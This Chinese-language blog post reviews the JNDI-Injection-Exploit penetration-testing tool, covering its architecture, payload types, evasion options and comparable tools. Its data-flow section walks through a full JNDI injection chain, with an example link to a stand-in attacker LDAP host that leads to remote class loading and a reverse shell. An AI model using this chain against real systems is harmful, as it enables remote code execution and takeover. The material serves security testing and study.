开源项目JNDI-Injection-Exploit:开箱即用的JNDI注入工具

0. 为什么关注这个项目

JNDI-Injection-Exploit 项目引起了我的关注,因为我需要一个工具来测试和演示 JNDI 注入漏洞。随着 Log4Shell 等重大安全漏洞的出现,JNDI 注入成为安全研究人员和渗透测试人员必须掌握的攻击技术,这个工具提供了一个开箱即用的解决方案。


1. 项目概览

这个项目属于:

  • 安全工具
  • 渗透测试工具
  • 漏洞利用

项目定位:JNDI-Injection-Exploit 是一个开箱即用的 JNDI 注入工具,专门用于测试和利用 JNDI 注入漏洞。它支持多种攻击向量,包括 RMI、LDAP、CORBA 等,是安全研究人员、渗透测试人员和红队成员的必备工具。

Github:https://github.com/welk1n/JNDI-Injection-Exploit

Star:超过 3,000(截至2025年)

License:MIT

语言/技术栈:Java、Maven

项目成熟度/复杂度:

  • 生产可用
  • 中等复杂度

2. 解决什么问题

2.1 这个领域原本怎么做

传统的 JNDI 注入测试需要手动搭建 RMI/LDAP 服务器,编写恶意类文件,配置攻击载荷,过程复杂且容易出错。

2.2 现有方案问题

现有工具分散,缺乏一体化解决方案,攻击链配置繁琐,对新手不友好,难以快速验证漏洞。

2.3 这个项目的思路

JNDI-Injection-Exploit 的思路是提供一个一体化的攻击工具,集成攻击服务器、恶意类生成、载荷投递等功能,用户只需简单命令即可发起攻击。


3. 架构分析

3.1 整体架构

JNDI-Injection-Exploit 采用客户端-服务器架构,核心组件包括:

  • 攻击服务器:启动 RMI/LDAP 服务,等待目标连接。
  • 恶意类生成器:动态生成执行命令或反弹 shell 的恶意类。
  • 载荷投递模块:构造恶意 JNDI 链接,诱使目标加载。

3.2 关键模块

  • RMI 服务器:模拟 RMI 注册中心,提供恶意对象。
  • LDAP 服务器:模拟 LDAP 服务器,重定向到恶意类。
  • Payload 生成:支持命令执行、代码执行、文件下载等载荷。
  • 日志记录:记录攻击过程和结果。

4. 核心设计思想

4.1 技术选型分析

为什么使用 Java:

  • 目标环境:JNDI 注入主要影响 Java 应用,使用 Java 开发便于理解目标环境。
  • 兼容性:Java 的跨平台特性确保工具在各种环境中运行。
  • 生态丰富:Java 的网络和序列化库便于实现攻击服务器。

4.2 设计思想分析

这个项目体现:

  • 一体化设计:集成攻击链各环节,降低使用门槛。
  • 模块化:支持多种攻击向量(RMI、LDAP、CORBA)。
  • 灵活配置:允许自定义攻击载荷和服务器配置。

5. 功能分析

5.1 整体架构

JNDI-Injection-Exploit 是一个命令行工具,所有功能通过命令行参数控制,无需图形界面。

5.2 核心模块

  • 攻击向量选择:支持 RMI、LDAP、CORBA 等多种协议。
  • 载荷类型:支持 Runtime.exec、ProcessBuilder、反射调用等。
  • 编码绕过:支持 URL 编码、Base64 等绕过技术。
  • 结果回传:支持 DNS 回传、HTTP 回传等外带数据。

5.3 数据流分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
攻击者启动 JNDI-Injection-Exploit

工具启动 RMI/LDAP 服务器

生成恶意类文件并托管

构造恶意 JNDI 链接(如 ldap://attacker:1389/Exploit)

目标应用加载恶意链接

目标连接攻击服务器,下载恶意类

恶意类在目标执行,实现命令执行或反弹 shell

攻击者获得目标控制权

6. 部署与体验

6.1 部署难度

部署简单,只需 Java 运行环境,下载 JAR 文件即可运行。

6.2 资源占用

资源占用低,作为命令行工具,内存占用通常小于 100MB。

6.3 使用体验

使用体验专业,命令行参数丰富,文档清晰。对于安全研究人员,能快速验证漏洞;对于新手,学习曲线较陡峭。


7. 类似项目对比

项目 复杂度 技术栈 适用场景
JNDI-Injection-Exploit 中等 Java JNDI 注入一体化攻击工具
ysoserial 复杂 Java Java 反序列化攻击,生成攻击载荷
marshalsec 中等 Java 专注于 JNDI 注入的轻量工具

8. 优缺点分析

优点:

  • 功能全面:集成多种攻击向量和载荷类型。
  • 使用简单:命令行参数设计合理,快速上手。
  • 社区认可:被广泛用于 Log4Shell 等漏洞的验证。

缺点:

  • 安全风险:恶意使用可能导致法律责任。
  • 依赖 Java:需要目标环境有 Java 运行环境。
  • 检测风险:现代安全设备可能检测到此类攻击。

9. 我的判断

我认为:

这个项目:

  • 适合:安全研究人员、渗透测试人员、红队成员、漏洞验证者。
  • 不适合:无安全背景的普通用户、生产环境、非法攻击活动。
  • 未来如何:随着 Java 安全机制的加强,JNDI 注入漏洞可能减少,但该工具仍将更新以应对新的绕过技术。


开源项目JNDI-Injection-Exploit:开箱即用的JNDI注入工具
https://blog.doracoin.cc/posts/opensource/65441.html
作者
Doracoin
发布于
2026年3月26日
更新于
2026年3月27日
许可协议